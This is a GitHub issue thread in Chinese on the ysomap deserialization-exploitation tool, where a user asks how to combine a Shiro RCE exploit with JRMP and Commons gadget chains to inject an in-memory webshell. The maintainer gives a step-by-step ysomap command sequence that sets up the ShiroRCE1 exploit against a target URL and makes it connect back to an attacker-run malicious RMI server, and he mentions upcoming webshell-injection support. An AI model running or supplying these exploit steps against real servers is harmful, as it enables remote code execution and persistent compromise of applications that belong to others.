Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

请问一下:如果我想用shiro+JRMP+cb链或者cc链+注入一个内存马 #16

Closed
sv3nbeast opened this issue Jun 17, 2021 · 3 comments

Comments

@sv3nbeast
Copy link

应该怎么操作呢。
一阵子有点想不过来0.0

@wh1t3p1g
Copy link
Owner

当前的shiro rce还有点问题,我最近再改改,具体的使用可以看https://github.com/wh1t3p1g/ysomap/blob/master/scripts/shiro_rce.yso,
跟问题 #15 差不多,到时候,我写一点介绍,您可以先看这个脚本。

@wh1t3p1g
Copy link
Owner

你好,
关于你提的问题:

  1. shiro+jrmp
use exploit ShiroRCE1
set target http://localhost:8080/
set requestMethod GET
use payload RMIConnectWithUnicastRemoteObject
use bullet RMIConnectBullet
set rhost rmi_server_ip
set rport rmi_server_port
run

另外需要建立一个RMI的恶意服务,如RMIListener或RMIRefListener
此处的话,其实不需要依赖cb或cc

  1. 关于注入内存马的问题
    当前关于内存马的支持,将在下个版本中更新支持(暂时有的tomcatEcho不适合应用于shiro)。
    预计采用形式为exploit(ShiroRCE1) payload(cb1) bullet(TemplatesImplBullet)

@sv3nbeast
Copy link
Author

欧克,感谢

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants